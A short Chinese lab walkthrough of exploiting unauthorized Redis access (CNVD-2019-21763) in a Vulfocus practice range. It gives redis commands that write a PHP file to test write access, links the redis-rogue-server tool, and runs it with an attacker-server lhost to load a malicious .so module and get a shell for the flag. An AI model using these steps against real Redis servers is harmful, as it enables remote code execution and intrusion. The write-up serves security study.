redis 未授权访问 (CNVD-2019-21763)

redis 未授权访问 (CNVD-2019-21763)

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

漏洞复现

VULFOCUS靶场是易于搭建的,可以看往期文章

由于目标系统的权限不够redis用户无法写计划任务和公钥,而且也没有开放ssh端口。 主从复制getshell,写入恶意的so文件达到执行系统命令的目的。

利用条件:需要web目录有读写权限,只有读权限会失败

github上有一键可以利用的脚本 https://github.com/n0b0dyCN/redis-rogue-server.git

工具连接:redis-rogue-server

https://github.com/qishibo/AnotherRedisDesktopManager/releases

下载 Another-Redis-Desktop-Manager-win-1.7.0-x64

向目标写入文件(前提是目标有网站)

config set dir /tmp               #创建临时目录

config set dbfilename 1.php #写入文件

set test "<?php phpinfo(); ?>" #向文件中写入内容

bgsave #保存

save #保存

能够执行以上命令

证明web目录具有写权限,可以进行利用

确认靶机有可写权限后,

利用:攻击机进入到cd redis-rogue-server文件夹里面

python3 redis-rogue-server.py –rhost 目标IP –rport 目标端口 –lhost 攻击者服务器IP

成功后,可以执行命令

ls /tmp

即可得到flag

所有环境均在本地实现,部分源码来自于csdn博客,仅供学习研究,不要在未授权的外网环境,测试他人服务